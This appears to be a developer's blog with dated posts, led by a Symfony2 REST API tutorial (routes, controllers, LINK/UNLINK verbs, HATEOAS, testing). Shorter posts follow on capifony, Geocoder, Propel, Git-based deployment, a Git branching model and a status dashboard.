Back to our use case, I use to define my validation rules in YAML, but feel free to use your preferred way. Here is an example:

# src/Acme/DemoBundle/Resources/config/validation.yml
Acme\DemoBundle\Model\User:
  getters:
    username:
      - NotBlank:
    email:
      - NotBlank:
      - Email:
    password:
      - NotBlank:

Let’s write the controller method now:

<?php

// ...

    public function newAction()
    {
        return $this->processForm(new User());
    }

New tip, always use a method to process your form. You will thank yourself. The processForm() method looks like:

<?php

// ...

    private function processForm(User $user)
    {
        $statusCode = $user->isNew() ? 201 : 204;

        $form = $this->createForm(new UserType(), $user);
        $form->handleRequest($this->getRequest());

        if ($form->isValid()) {
            $user->save();

            $response = new Response();
            $response->setStatusCode($statusCode);

            // set the `Location` header only when creating new resources
            if (201 === $statusCode) {
                $response->headers->set('Location',
                    $this->generateUrl(
                        'acme_demo_user_get', array('id' => $user->getId()),
                        true // absolute
                    )
                );
            }

            return $response;
        }

        return View::create($form, 400);
    }

Basically, you create a form, you bind input data, if everything is valid, you save your user, and you return a response. If something went wrong, you return a 400 status code with the form. The $form instance will be serialized to highlight invalid input data. For example, you could get the following error response:

{
  "code": 400,
  "message": "Validation Failed";
  "errors": {
    "children": {
      "username": {
        "errors": [
          "This value should not be blank."
        ]
      }
    }
  }
}

Note that the View class here is not the same as the annotation one, that’s why I used an alias earlier. Read more about this class in The View Layer chapter in the FOSRestBundle documentation.

Also, passing the form name is important here. Basically, your clients will send the following content:

{
  "user": {
    "username": "foo",
    "email": "foo@example.org",
    "password": "hahaha"
  }
}

You can try this API method with curl:

curl -v -H "Accept: application/json" -H "Content-type: application/json" -X
POST -d '{"user":{"username":"foo", "email": "foo@example.org", "password":
"hahaha"}}' http://example.com/users

Make sure to set the body_listener parameter to true in the FOSRestBundle configuration. It allows you to receive data in JSON, XML, etc. Then again, everything works out of the box.

As I said previously, when everything is ok, you persist the user ($user->save() in Propel), and then you return a response.

You will return a 201 status code which means resource created. Note that I don’t use the View annotation here.

But if you read the code, you may think that I did weird stuff. Actually, once a resource is created, you have to return only one information: how to access this resource, in other words, its URI. The HTTP specification says you should use the Location header, and that’s what I do here. But, most of the time you don’t want to perform a new request to get information like the id of the user (you already have other information anyway). Here is the beginning of my main concern: pragmatic vs terrorist?

Guess what? I use to be terrorist here, and I follow the specification by returning just the Location header:

Location: http://example.com/users/999

When I have a JavaScript framework like Backbone.js as client, and because I don’t want to rewrite it entirely because it doesn’t support right APIs, I return the id in addition. Being pragmatic is not a bad idea anyway.

Don’t forget to add the routing definition for this action. Creating a resource is a POST request to the collection, so let’s add a new route:

acme_demo_user_new:
  pattern: /users
  defaults: { _controller: AcmeDemoBundle:User:new, _format: ~ }
  requirements:
    _method: POST

Once you know how to create a new resource, it’s quite easy to update it.

PUT vs PATCH, fight!

Updating a resource in REST means replacing it actually, especially if you use the PUT HTTP verb. There is also the PATCH method which takes a diff as input and applies a patch to your resource, in other words, it’s a partial update.

Thanks to our previous work, updating a resource will be quickly implemented. You have to write a new method in your controller, and to add a new route. Here, I rely on a ParamConverter to fetch the User object. If it doesn’t exist, the converter will throw an exception and this exception will be converted in a response with a 404 status code.

<?php

// ...

    public function editAction(User $user)
    {
        return $this->processForm($user);
    }

Editing a resource means you know it, so you will perform a PUT request on this resource:

acme_demo_user_edit:
  pattern: /users/{id}
  defaults: { _controller: AcmeDemoBundle:User:edit, _format: ~ }
  requirements:
    _method: PUT

Both PUT and PATCH methods have to return a 204 status code standing for No Content, and meaning everything is ok, go ahead. In the context of this blog post, PUT is exclusively used to update existing resources, not to create new ones. That is why you have to return a 204 status code.

If you want to create new resources at a given URI, then you will have to update the code above by removing the use of a ParamConverter, and create a new user in case it does not exist:

<?php

// ...

    public function editAction($id)
    {
        if (null === $user = UserQuery::create()->findPk($id)) {
            $user = new User();
            $user->setId($id);
        }

        return $this->processForm($user);
    }

In this case, your method can return either 204 if the resource exists or 201 with a Location header if a new resource has been created.

That’s it! What about deleting resources now?

DELETE

Deleting a resource is super easy. Add a new route:

acme_demo_user_delete:
  pattern: /users/{id}
  defaults: { _controller: AcmeDemoBundle:User:remove, _format: ~ }
  requirements:
    _method: DELETE

And, write a short method:

<?php

// ...

    /**
     * @Rest\View(statusCode=204)
     */
    public function removeAction(User $user)
    {
        $user->delete();
    }

In a few lines of code, you have a fully working API that exposes CRUD operations in a safe way. But now, what about adding relationship between users, like friendship?

How to retrieve the friends for a given user in REST? We just have to consider friends as a collection of users owned by the user. Let’s implement that.

The Friendship Algorithm

First, we have to create a new route. As we consider the friends as a collection owned by a user, we will fetch this collection directly on a resource:

acme_demo_user_get_friends:
  pattern: /users/{id}/friends
  defaults: { _controller: AcmeDemoBundle:User:getFriends, _format: ~ }
  requirements:
    _method: GET

The action in the controller looks like:

<?php

// ...

    public function getFriendsAction(User $user)
    {
        return array('friends' => $user->getFriends());
    }

That’s it. Now, think about how to represent the process of becoming friend with another user. How would you manage that in a REST approach? You can’t use POST to the collection of friends as you won’t create anything Both users already exist. You can’t use PUT as you don’t really want to replace the whole collection, and it seems a bit harsh.

Well, the HTTP procotol describes a LINK HTTP verb that solves this problem. It says:

The LINK method establishes one or more Link relationships between the existing resource identified by the Request-URI and other existing resources.

That’s exactly what we need. We want to link two resources, we should never forget resources while we build APIs. So, how to do that in Symfony2?

My approach is to rely on a request listener here. The client will perform a LINK request on a resource, and will send at least one Link header:

LINK /users/1
Link: <http://example.com/users/2>; rel="friend"
Link: <http://example.com/users/3>; rel="friend"

Using a request listener is a nice option because it allows you to have clean inputs in your action. The aim of this action is to link objects after all, we don’t want to play with URIs in the controller. The transformation has to be done before.

The request listener gets those Link headers, and uses the RouterMatcher part of Symfony2 to retrieve the controller and the method names. It also gets the parameters.

In other words, it has all information to create a controller, and to call the right method on it with the right parameters. In our example, for each Link header, it calls the getUser() action on the UserController controller. That’s why I didn’t use ParamConverters, it allows me to pass the id value, and to get my resource. I make two assumptions:

if the user doesn’t exist, I will get an exception;
I will get an array as returned value because I use the View annotation.

Once I get my resource objects, I put them in the request’s attributes, and that’s all for the listener. Here is the code:

<?php

namespace Acme\DemoBundle\EventListener;

use Symfony\Component\HttpKernel\Event\GetResponseEvent;
use Symfony\Component\HttpKernel\Controller\ControllerResolverInterface;
use Symfony\Component\Routing\Matcher\UrlMatcherInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpKernel\HttpKernelInterface;
use Symfony\Component\HttpKernel\KernelEvents;
use Symfony\Component\HttpKernel\Event\FilterControllerEvent;

class LinkRequestListener
{
    /**
     * @var ControllerResolverInterface
     */
    private $resolver;
    private $urlMatcher;

    /**
     * @param ControllerResolverInterface $controllerResolver The 'controller_resolver' service
     * @param UrlMatcherInterface         $urlMatcher         The 'router' service
     */
    public function __construct(ControllerResolverInterface $controllerResolver, UrlMatcherInterface $urlMatcher)
    {
        $this->resolver = $controllerResolver;
        $this->urlMatcher = $urlMatcher;
    }

    public function onKernelRequest(GetResponseEvent $event)
    {
        if (!$event->getRequest()->headers->has('link')) {
            return;
        }

        $links  = array();
        $header = $event->getRequest()->headers->get('link');

        /*
         * Due to limitations, multiple same-name headers are sent as comma
         * separated values.
         *
         * This breaks those headers into Link headers following the format
         * http://tools.ietf.org/html/rfc2068#section-19.6.2.4
         */
        while (preg_match('/^((?:[^"]|"[^"]*")*?),/', $header, $matches)) {
            $header  = trim(substr($header, strlen($matches[0])));
            $links[] = $matches[1];
        }

        if ($header) {
            $links[] = $header;
        }

        $requestMethod = $this->urlMatcher->getContext()->getMethod();
        // Force the GET method to avoid the use of the
        // previous method (LINK/UNLINK)
        $this->urlMatcher->getContext()->setMethod('GET');

        // The controller resolver needs a request to resolve the controller.
        $stubRequest = new Request();

        foreach ($links as $idx => $link) {
            $linkParams = explode(';', trim($link));
            $resource   = array_shift($linkParams);
            $resource   = preg_replace('/<|>/', '', $resource);

            try {
                $route = $this->urlMatcher->match($resource);
            } catch (\Exception $e) {
                // If we don't have a matching route we return
                // the original Link header
                continue;
            }

            $stubRequest->attributes->replace($route);

            if (false === $controller = $this->resolver->getController($stubRequest)) {
                continue;
            }

            // Make sure @ParamConverter and friends are handled
            $subEvent = new FilterControllerEvent($event->getKernel(), $controller, $stubRequest, HttpKernelInterface::MASTER_REQUEST);
            $event->getDispatcher()->dispatch(KernelEvents::CONTROLLER, $subEvent);
            $controller = $subEvent->getController();

            $arguments = $this->resolver->getArguments($stubRequest, $controller);

            try {
                $result = call_user_func_array($controller, $arguments);

                // By convention the controller action must return an array
                if (!is_array($result)) {
                    continue;
                }

                // The key of first item is discarded
                $links[$idx] = current($result);
            } catch (\Exception $e) {
                continue;
            }
        }

        $event->getRequest()->attributes->set('links', $links);
        $this->urlMatcher->getContext()->setMethod($requestMethod);
    }
}

Now, you can create a new route:

acme_demo_user_link:
  pattern: /users/{id}
  defaults: { _controller: AcmeDemoBundle:User:link, _format: ~ }
  requirements:
    _method: LINK

And the code of the action looks like:

<?php

// ...

    /**
     * @Rest\View(statusCode=204)
     */
    public function linkAction(User $user, Request $request)
    {
        if (!$request->attributes->has('links')) {
            throw new HttpException(400);
        }

        foreach ($request->attributes->get('links') as $u) {
            if (!$u instanceof User) {
                throw new NotFoundHttpException('Invalid resource');
            }

            if ($user->hasFriend($u)) {
                throw new HttpException(409, 'Users are already friends');
            }

            $user->addFriend($u);
        }

        $user->save();
    }

If users are already friends, you will get a response with a 409 status code which means Conflict. If there is no link header, it’s a bad request (400).

And it would be the same thing to remove friends. There is a UNLINK HTTP verb too.

Last thing I didn’t explain is the PATCH verb, I mean what would be a use case for such a verb? The answer is partial update or every other methods that are either not safe, unsure or not idempotent. If you have a custom API method, and you don’t know which verb to use, PATCH is probably the answer.

Assuming you allow your users to change their email thanks to a third party client, then again it’s for some good business reasons. This client uses a two steps process. The user asks for changing his email, he gets an email with a link and this link allows him to change his email. Let’s skip the first part and focus on the second one. The user sends a new password to the client, and the client has to call your API. Either this client will fetch the resource, and replace it or you are smart and you provide a PATCH method.

Let’s PATCH the world

This section has been removed as it described a wrong way to use the PATCH method. You can read this: Please. Don’t Patch Like An Idiot.. It covers how to update user’s email, using the PATCH method the right way, but not in PHP unfortunately.

So now, what’s the plan? We use GET, POST, PUT, DELETE, LINK, and UNLINK verbs. We are able to create, read, update, delete a user. We can get all users, and add relationships between them.

Actually, regarding the Richardson Maturity Model, we just covered the level 2. Let’s take a look at HATEOAS and unlock the level 3!

Hate who?

HATEOAS is not about hating people, but you could hate this movement if you are a true pragmatic programmer. It basically means Hypermedia As The Engine Of Application State. To me, it looks like a semantic dimension you bring into your APIs.

Earlier in this article I talked about the format used to exchange information between a client and your API. JSON is not the best choice when you want to follow HATEOAS principles even if some people tried to provide solutions.

Let’s convert our User representation in XML:

<user>
    <id>999</id>
    <username>xxxx</username>
    <email>xxxx@example.org</email>
</user>

This is the output you could get by requesting the XML format as a client. There is nothing HATEOAS here. The first step is the addition of links:

<user>
    <id>999</id>
    <username>xxxx</username>
    <email>xxxx@example.org</email>

    <link href="http://example.com/users/999" rel="self" />
</user>

This was easy, we just added the link that references the user you fetched. But if you get a paginate collection of users, you could get:

<users>
    <user>
        <id>999</id>
        <username>xxxx</username>
        <email>xxxx@example.org</email>

        <link href="http://example.com/users/999" rel="self" />
        <link href="http://example.com/users/999/friends" rel="friends" />
    </user>
    <user>
        <id>123</id>
        <username>foobar</username>
        <email>foobar@example.org</email>

        <link href="http://example.com/users/123" rel="self" />
        <link href="http://example.com/users/123/friends" rel="friends" />
    </user>

    <link href="http://example.com/users?page=1" rel="prev" />
    <link href="http://example.com/users?page=2" rel="self" />
    <link href="http://example.com/users?page=3" rel="next" />
</users>

Now the client knows how to browse the collection, how to use the pager, and how to fetch a user and/or its friends.

The second part is about adding media types to answer the question: What?. What is this resource? What does it contain or what do I need to create such a resource?

This part introduces your own content type:

Content-Type: application/vnd.yourname.something+xml

Our users will now have the following content type: application/vnd.acme.user+xml.

<user>
    <id>999</id>
    <username>xxxx</username>
    <email>xxxx@example.org</email>

    <link href="http://example.com/users/999" rel="self" />

    <link rel="friends"
          type="application/vnd.acme.user+xml"
          href="http://example.com/users/999/friends" />
</user>

Last, but not the least, you can add versioning to your API in three different ways. First, you can add the version number in your URIs, this is the easy way:

/api/v1/users

You can use your new content type:

application/vnd.acme.user-v1+xml

Or you can also use a qualifier in your Accept header, that way you don’t touch your content type:

application/vnd.acme.user+xml;v=1

It’s really up to you. The first solution is easy but less RESTful than the two other solutions. But those solutions require more smart clients.

Testing

To be honest, if you decide to expose your API to your customers, this section is the most important. You can decide to follow the REST approach or not, but your API has to work perfectly, and that means well tested.

I use to test APIs I build with functional tests, that means I consider the system as a black box. Symfony2 embeds a nice Client which allows you to call your API methods directly in your test classes:

<?php

$client   = static::createClient();
$crawler  = $client->request('GET', '/users');

$response = $crawler->getResponse();

$this->assertJsonResponse($response, 200);

I use to use my own WebTestCase class with a assertJsonResponse() method:

<?php

// ...

    protected function assertJsonResponse($response, $statusCode = 200)
    {
        $this->assertEquals(
            $statusCode, $response->getStatusCode(),
            $response->getContent()
        );
        $this->assertTrue(
            $response->headers->contains('Content-Type', 'application/json'),
            $response->headers
        );
    }

This is the first check I do after a call to the API. If it’s ok, then I can make more assertions related to the content I fetched.

When you write tests for your APIs, test everything you can think about. Don’t forget to test bad requests, and to have at least one test method for each status code you can return. It’s important because, even if there is a problem, you have to return the right status code, and the right message to the clients. A 500 status code doesn’t have the same meaning than a 400.

Documentation

Having a well documented API is really important, because it’s the only thing your clients will have access to. You don’t provide the entire code to them, there is just an endpoint and documentation.

In a HATEOAS approach, your API is auto documented, so you don’t need to write the documentation yourself, because your clients will discover features themselves.

But then again, having a HATEOAS API is quite complex, and it’s not so widespread nowadays. If your API follows the level 2 of the Richardson’s model, it’s already good, but you will have to write the documentation yourself!

NelmioApiDocBundle to the rescue! I wrote this bundle at Nelmio in order to automatically generate documentation for our APIs. Based on code introspection, the bundle extracts a lot of information, and displays a nice page with all information found.

You now have all keys to build wonderful APIs!

Useful Links

I will probably update this post with more information, links, etc. So stay tuned!

Capifony, the cool Capistrano recipes for Symfony applications

2012-06-22T00:00:00+00:00

For the past two years, I have been using Capistrano to deploy my applications, even if I sometimes rely on Git to deploy some of them.

Capistrano is fantastic! It’s a framework to run commands over SSH. You configure the process to deploy your application once and it will work for all servers.

Capistrano is extensible. You can write your own recipes to avoid repeating yourself. That’s what I did for a long time for my symfony 1.x projects. I never had any issues with this recipe.

For my Symfony (2.x) applications, I didn’t have to write anything, though. Not because I’m lazy but because a wonderful project called capifony already exists!

Capifony is a set of recipes for both symfony 1.x and Symfony (2.x) applications. This project has been created by my friend @everzet and sponsored by KnpLabs.

This week, I’m really proud to announce that Konstantin gave me the keys of this project so that I can maintain and improve it. I released capifony 2.1.7 yesterday with a bunch of fixes as well as new features. In the next weeks, I will work on updating the documentation.

The project is hosted on GitHub: https://github.com/everzet/capifony. As usual, feel free to contribute :-) To ease contributions on the documentation, I’ve added the nice “Fork & Edit” feature:

Don’t hesitate to contribute or report issues. Your feedback is precious! Thanks!

Introduction to Propel2 at Symfony Live 2012

2012-06-08T00:00:00+00:00

Here are my slides for the talk I gave this morning at Symfony Live 2012 in Paris.

If you attended this conference, please leave a feedback on joind.in. Cheers!

Geocoder: the missing PHP library

2012-05-31T00:00:00+00:00

Seven months ago, I released Geocoder, a PHP 5.3+ library to ease geocoding manipulations. More and more applications have to deal with geolocation and, even if HTML5 provides a Geolocation API, a server-side library is always useful. Today, this library has more than 230 watchers on GitHub and it’s time to introduce it here.

The library is standalone and split in two parts: HttpAdapters, which are responsible for getting data from remote APIs, and Providers, which own the logic to extract information.

Adapters

There are many adapters to use Geocoder with, like Buzz, cURL, Guzzle and the Zend Http Client. If you want to use another HTTP layer, you can easily write your own provider by implementing the HttpAdapterInterface interface.

Providers

The most important part of Geocoder is probably all its providers: FreeGeoIp, HostIp, IpInfoDB, Yahoo! PlaceFinder, Google Maps, Bing Maps, OpenStreetMaps, CloudMade, and even Geoip, the PHP extension. Same thing here, you can easily write your own provider by implementing the ProviderInterface interface.

Geocoder supports both geocoding and reverse geocoding. It depends on the provider you choose and also what you want to do. The API is really simple:

<?php

$geocoder = new \Geocoder\Geocoder();
$adapter  = new \Geocoder\HttpAdapter\BuzzHttpAdapter();

$geocoder->registerProviders(array(
    new \Geocoder\Provider\YahooProvider($adapter, 'API_KEY'),
));

// IP based
$result = $geocoder->geocode('88.188.221.14');

// Street address based
$result = $geocoder->geocode('10 rue Gambetta, Paris, France');

// reverse geocoding
$result = $geocoder->reverse($latitude, $longitude);

The $result variable is an instance of ResultInterface. Again, the API is simple.

Dumpers

Another feature provided by Geocoder is the ability to dump a ResultInterface object in standard formats like GPS eXchange (GPX), GeoJSON, Keyhole Markup Language (KML), Well-Known Binary (WKB) or Well-Known Text (WKT). This is too small to become a separated library and it can be helpful if you need to share geolocated data.

Conclusion

Geocoder is quite stable now. It is well integrated with Propel thanks to the GeocodableBehavior and with Doctrine thanks to the DoctrineBehaviors. Both behaviors are really powerful. Install them and your model objects (entities) become geo-aware! For Drupal folks, the geocoder module should use Geocoder sooner or later.

Geocoder has more than ten contributors (thank you so much!!!). It is actively maintained and already used in production! Oh and it’s well unit tested, with more than a hundred tests and almost a thousand assertions!

If you plan to deal with geocoding stuff in your PHP project, you should give Geocoder a try ;)

Propel and Symfony: a year ago

2012-04-25T00:00:00+00:00

Did you know that the PropelBundle was part of the Symfony core? Yes, at the very beginning. It was moved out some time after. Basically, I didn’t create the PropelBundle but I started to learn Symfony by using it.

Hi,

You seem to work on the PropelBundle actively, and that’s great news. This bundle is under my account right now because it is orphan. But if you want to take care of the maintenance of it, then I think it’s time for your fork to become the official repository for the bundle. What do you think?

Fabien

To be honest, this bundle didn’t really work and I spent a fair amount of time to learn Symfony internals, learn Propel 1.6 internals and find ways to make this bundle work 😅 It was fun! After a few weeks, the bundle became useful and, at the same time, I joined e-TF1 where I had the opportunity to work with both Symfony and Propel. I could use this bundle in production!

A few months later, I accepted to take the lead of the Propel project and I added the PropelBundle as an official Propel project. It was the best choice because people helped me a lot to improve this bundle, and now it is fully compatible with Symfony (kudos to Toni who is the PropelBundle manager). To spread the word, I also wrote exhaustive documentation about Propel and Symfony.

Making this bundle reliable and trustful was the hardest part of the work. Even if the bundle worked great and even if we were there to answer questions or to fix issues, it was tricky to get more users. That’s why I asked Fabien to create a Propel Bridge in Symfony. It was the first step to avoid comments like “it’s not the default ORM, lalala”. At the same time, Symfony took the decision to be a View Controller framework without any Model layer bundled by default.

Today, I’m proud to announce that the last step has been unlocked thanks to Joseph. Propel has its own chapter in the official Symfony book, which means you have to think about which Model layer to use now. There is no more excuse to not try Propel in Symfony or to use Doctrine by default and not by choice.

Try Propel, seriously! It could fit your needs depending on what you expect. Some great bundles already support Propel (like the FOSUserBundle). Also please avoid comments like “Doctrine is much nicer”, which make little sense. Why is it much nicer? I never got any good arguments in favor of Doctrine I didn’t already know. I can hear everything that is constructive. I used Doctrine for more than six months, both ORM and ODM (MongoDB). I have strong arguments against it but I also like some parts of it. Who can say the same thing about Propel?

Now, you have the choice. It’s up to you. Thanks!

I will be speaking at Symfony Live 2012

2012-04-11T00:00:00+00:00

Heya, I’m glad to announce that I will be speaking at Symfony Live 2012 in Paris on June 7-8th, 2012.

I will introduce Propel2, the new upcoming version of the Propel ORM. I will probably explain the Propel philosophy and then more details about how Propel works in real life, how it’s built, and some other things you will discover if you attend my talk.

To be honest, it will be my very first talk at a conference so I decided to do it in French. I know some people complained about that but I’m not comfortable enough with my English level to give a talk in English. That being said, I will write my slides in English. That way, it should still be possible for those who don’t speak French to follow my presentation.

Hope to see you there!

Converting my blog posts to audio files

2012-02-29T00:00:00+00:00

Yesterday, I discovered the say command on my Mac. Its aim is to convert text to audible speech and that works really well. Then, I had the idea of creating audio files from my blog posts because (1) it’s fun and (2) it could possibly improve accessibility on this website.

The say command generates aiff audio files but that isn’t supported by the audio HTM5 tag. I converted the aiff files to mp3 using the well-known ffmpeg tool.

Please welcome Speaker, my fun work from last evening! Speaker aims to convert my blog posts written in markdown to mp3 files. It is a tiny shell script I enjoyed writing.

USAGE:
  ./speaker [-h] [-d <output directory>] <filename>

I used roundup to test it. I love shell scripts but writing them without any tests is a pain, there is often a condition that is not good, a typo, or something else. That often makes me crazy… Well, problem solved with roundup! Here is my test suite output:

$ ./speaker-test.sh
speaker
it_shows_help_with_no_argv:                      [PASS]
it_shows_help_with_h_option:                     [PASS]
it_creates_mp3_file:                             [PASS]
it_creates_mp3_file_in_existing_directory:       [PASS]
it_creates_mp3_file_in_new_directory:            [PASS]
=========================================================
Tests:    5 | Passed:   5 | Failed:   0

To sanitize the text to speech, I used some regular expressions. It probably needs some improvements but it works pretty well:

# Sanitize markdown content
content=`echo "$content" | sed -e 's/[\*_]//g'`
content=`echo "$content" | sed -e 's/\[\(.*\)\](\(.*\))/\1/g'`
content=`echo "$content" | sed -e 's/:[p|D]/./g'`
...

For the other parts, you can take a look at the code :)

Because I wanted to expose these audio files on this website, I tweaked the template to integrate an audio tag. I also used html5media to render this tag in all major browsers (I don’t know if there is a better solution).

<audio src="/mp3/my-blog-title.mp3" controls preload></audio>

Last, to automagically generate audio files, I wrote a pre-commit script to build the audio file when I commit blog posts.

That’s all folks!

Deploying with Git

2012-02-25T00:00:00+00:00

I often rely on Capistrano to deploy web applications. I already talked about this tool in my previous blog. In this article, I am going to describe a simpler approach to deploy simple apps.

When you need to deploy a simple web application on a server, like this blog for instance, there is no need to use Capistrano or Fabric. We mainly want a way to copy a set of files and one could rely on rsync or scp… How boring!

An alternative is to rely on Git, assuming you are using it. But how?

The first step is to configure the local repository by adding a new remote:

git remote add -t master production ssh://<server>/path/to/project_prod

The -t <branch> option allows to track a given branch instead of all branches. You can add more remotes if you want, like a testing remote for instance:

git remote add testing ssh://<server>/path/to/project_test

To deploy the application to production, run:

git push production

To deploy the application to a testing environment, run:

git push testing <branch>

At the moment, you can push your code to your server but it won’t deploy your changes. We need to configure Git. First, add the following lines to the .git/config file:

[receive]
    denyCurrentBranch = false

This allows to push code to the current branch, which is important to deploy your new changes. Old Git versions don’t need to set this parameter by the way.

Then, create and enable a post-receive hook with the following content:

#!/usr/bin/env bash

SUBJECT="Deploy successful"
BODY="You've successfully deployed the branch:"

while read oldrev newrev ref
do
    branch=`echo $ref | cut -d/ -f3`

    if [ "$branch" ] ; then
        cd ..
        env -i git checkout $branch
        env -i git reset --hard

        EMAIL=`env -i git log -1 --format=format:%ae HEAD`
        BODY="$BODY $branch."

        echo "$BODY" | mail -s "$SUBJECT" "$EMAIL"
    fi
done

This script updates the working tree after changes have been pushed, and send an email to the last committer. Keep in mind that it always deploys the last branch you push.

The important part is:

cd ..
env -i git checkout $branch
env -i git reset --hard

Feel free to “decorate” these three lines as you wish.

For example, for the production environment (or because you are using a Git Branching Model), you should modify the previous script to make sure that you only deploy the master branch:

    if [ "$branch"  == "master" ] ; then
        cd ..
        # env -i git checkout $branch
        env -i git reset --hard

        # Send an email
    fi

You’re done! Each time you’ll execute git push production, you’ll deploy your application to your production environment. Easy. Fast. Powerful.

Component Driven Development: it's like Lego!

2012-02-01T00:00:00+00:00

Did you ever hear about Component-Based Development? Maybe about Component Driven Development? Both concepts are the same, and if you’ve worked with Symfony, Spring or similar frameworks, then chances are you’ve already done Component Driven Development (CDD).

It’s all about separation of concerns. You design components with their own logic. Each component does one thing well and only one thing (that is also the Unix philosophy). Separating business logic in self-contained components requires to focus on interactions between components. In other words, you have to think in terms of interfaces and boundaries.

UML provides a component diagram that allows you to easily identify the components, interfaces and their relations. This could be a useful tool. In a UML component diagram, a provided interface is modeled using the lollipop notation and a required interface is modeled using the socket notation.

Simplified example of a UML component diagram

As I wrote previously, you are most likely already familiar with Component Driven Development if you know Symfony or Spring. Why? Because these two frameworks use the Inversion of Control (IoC) architectural pattern via the Dependency Injection design pattern (I consider IoC an architectural pattern because it’s not a design pattern you can implement).

There are two known issues with IoC, though. First, you need a way to manage dependencies between components. Second, how do you instantiate all these components (in which order for instance)? Dependency Injection Container (DIC) to the rescue! A (service) container requires some configuration that essentially describes the dependencies between components. Checkout the Symfony docs about Dependency Injection for more technical information.

With that, the two issues I just mentioned are solved and you can now write highly decoupled code. The main drawback is the time you’ll have to spend thinking about your architecture and component interactions. This is where the UML component diagram can be helpful ;-)

Thanks to a framework that provides abstractions such as a DIC, you can start “assembling” an app by reusing existing components (i.e. libraries) to avoid writing everything from scratch. See why it is like Lego now?

In the PHP world, we have magic tools like:

The Symfony components: a reusable set of standalone PHP components
Composer: the awesome package manager for PHP
Packagist: the official registry to discover great PHP libraries

Less time wasted writing “framework code”, more time spent writing business-oriented code and “glue code” for the existing components you use directly “as-is”, yay!

Designing software by naming things

2012-01-24T00:00:00+00:00

There are only two hard things in Computer Science: cache invalidation and naming things.

Phil Karlton

Naming things is hard, that’s right, but finding the right names is even harder!

When I start the process of creating a new application, the first step is often to rely on some sort of specifications, e.g., UML diagrams. This forces me to think before to code, what a nice idea!

A class diagram is probably the most useful UML diagram. A first step could be to find package names and see how I can connect them. This will give me the main components of the application like the controllers, services or models for example. At this level, separating concerns is usually straightforward. The Model-View-Controller (MVC) design pattern is a great example.

Once the main packages have been defined, I need to find class names. To help me find the right names, I tend to identify interfaces first. An interface describes a contract between two components. Thinking in terms of interfaces forces me to think about the interactions between components. Interface-based programming is a nice way to design an application.

My rule of thumb is: when I am not able to find a name for a class, I ask myself whether this class makes sense, or if I can decouple things a bit more. A “wrong” or “obscure” name often leads to errors. When I am not satisfied with some naming, it is usually because something is not quite right and I try to understand why.

To get better at naming things, I take inspiration by reading good code. Thanks to GitHub, it’s easy to find and read code written by talented folks. As a PHP developer, I often use Symfony naming in my own projects.

This is how I design software by naming things :)

My Git branching model

2012-01-17T00:00:00+00:00

We all probably know this successful Git branching model, which looks like a very interesting model for teams that want to use Git. That being said, this model is a bit too complex for common needs in my opinion. In this article, I introduce my lightweight model.

I use two main branches:

main : the code in a production-ready state;
develop : the integration branch.

Figure 1: Commits over time on two branches: “develop” and “main” (based on Vincent Driessen’s similar illustration)

I also use feature branches. A feature branch contains a work in progress. Keep in mind that a feature branch should reflect a feature in your backlog. I use a convention for these branches, I always prefix them with feat-.

$ git branch
feat-my-feature
* main

A feature branch has two constraints:

the code must be based on the develop branch;
the code must be merged in the develop branch.

Figure 2: A feature branch next based on the “develop” branch (based on Vincent Driessen’s similar illustration)

To create a feature branch, I use the following command:

$ git checkout -b feat-my-feature develop

To merge a feature branch into develop, I use the following set of commands:

# Go back to the develop branch
$ git checkout develop

# Get last commits
$ git pull --ff-only origin develop

# Switch to the feature branch
$ git checkout feat-my-feature

# Time to rebase
$ git rebase develop

# Then, switch to the develop branch in order to merge the feature branch
$ git checkout develop

$ git merge --no-ff feat-my-feature

# Push
$ git push origin develop

# Finally, delete your branch
$ git branch -d feat-my-feature

I always merge a feature branch into develop using --no-ff to keep a clean log:

Figure 3: The difference between git merge and git merge --no-ff (based on Vincent Driessen’s similar illustration)

The --no--ff option allows to keep track of a feature branch name which is quite useful. The following git log output shows you a feature branch merged with this option:

commit 481771556824c4ae2e6da73ef14d6ce757fb5870
Merge: 6abdd70 8cfe5a7
Author: William Durand <email address>
Date:   Tue Jan 17 11:31:56 2012 +0100

Merge branch 'feat-my-feature' into develop

commit 8cfe5a7da159663cc09a850bee49a59ce046c67e
Author: William Durand <email address>
Date:   Tue Jan 17 11:31:19 2012 +0100

Added a new feature

commit 6abdd707aace50ee5aad72a3c6fcff2f36cdea7f
Author: William Durand <email address>
Date:   Sun May 15 14:07:19 2011 +0200

Initial commit

Without the --no-ff option, you’ll get the following output:

commit 0d5805d52e55e4941ce23585a4cd559e5e643207
Author: William Durand <email address>
Date:   Tue Jan 17 11:35:43 2012 +0100

Added yet another feature

commit 6abdd707aace50ee5aad72a3c6fcff2f36cdea7f
Author: William Durand <email address>
Date:   Sun May 15 14:07:19 2011 +0200

Initial commit

In a team, you will probably have more than one feature branch, and you could have a dependency between two branches (this should be avoided). In this case, I use another branch in which I merge two or more feature branches.

$ git checkout -b feat-my-feature-with-another-feature develop

Then, I can merge the two feature branches, and solve possible conflicts:

$ git merge feat-my-feature

$ git merge feat-another-feature

I don’t use any other branches. The last part of the model is to merge develop into main. To avoid conflicts, there should be only one person who owns this responsibility: the release manager.

I experimented this model with different teams in terms of number of people and skills, and I never had more needs. I know some people use release branches but it can be handled in another way.

Services status dashboard

2012-01-16T00:00:00+00:00

Today, I was looking for an Open Source alternative to Pingdom as I needed something free, customizable, and lightweight. I love the GitHub’s Status Panel, unfortunately they didn’t open source it.

This kind of application is somewhat simple. You need a crawler, and few rules to know whether an application is alive or not. Additionally, you may want to store results in order to make graphs or calculate uptime average. Before writing such a tool myself, I tried to find existing projects on GitHub.

Good news! I found a nice project: Status Dashboard created by Olivier Bazoud. This project is simple to configure, you can use provided plugins (Twitter, IRC bot, History, …) or add your owns, and you can monitor various services (not only HTTP). If you don’t want to use the beautiful interface, then you’ll find a REST API as well.

Installation

Run npm install to setup the project and its dependencies, then add your own configuration in settings.js. Mine is:

// ...
settings["william"] = {
  services: [
    {
      name: "williamdurand.fr",
      label: "William Durand (blog)",
      check: "http",
      host: "williamdurand.fr",
      port: "80",
      path: "/",
      headers: {
        Host: "williamdurand.fr",
      },
    },
  ],
  plugins: {
    history: {
      enable: true,
      host: "127.0.0.1",
      port: 6379,
      namespace: "statusdashboard",
      options: {},
      client: true,
    },
  },
};

Then, start the server:

node server.js

Check the server is running by browsing http://127.0.0.1:8080/ or by querying the API:

> curl http://127.0.0.1:8080/api/services
